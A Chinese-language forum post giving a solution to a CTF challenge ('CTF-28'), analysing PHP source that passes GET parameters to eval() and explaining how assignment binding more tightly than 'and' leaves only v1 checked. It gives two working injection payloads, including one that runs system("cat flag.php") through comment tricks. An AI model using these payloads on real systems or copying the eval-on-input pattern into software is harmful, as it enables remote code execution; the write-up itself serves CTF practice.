CTF-28解题思路

Track-子羽   ·   发表于 2021-11-17 15:16:34   ·   CTF&WP专版

源码分析:

  1. <?php
  2. highlight_file(__FILE__);
  3. include("flag.php");
  4. //flag in class flag;
  5. $ctfshow = new ctfshow();
  6. $v1=$_GET['v1'];
  7. $v2=$_GET['v2'];
  8. $v3=$_GET['v3'];
  9. $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
  10. if($v0)
  11. {
  12. if(!preg_match("/\;/", $v2))
  13. {
  14. if(preg_match("/\;/", $v3))
  15. {
  16. eval("$v2('ctfshow')$v3");
  17. }
  18. }
  19. }
  20. ?>

考点:

php中OR与|| AND与&&的区别总结

参考资料:(https://www.jb51.net/article/42425.htm)

因为赋值的优先级=高于and所以v0的值可以由v1来控制,所以我们需要给其赋值为1也就是true

因为flag在类ctfshow中,所以可以直接命令执行

payload:

  1. ?v1=1&v2=var_dump($ctfshow)&v3=;
  2. v1=1&v2=system("cat flag.php")/*&v3=*/;

输入payload后右击页面查看源码即可看到flag

打赏我,让我更有动力~

0 Reply   |  Until 22天前 | 42 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2021 掌控者 All Rights Reserved.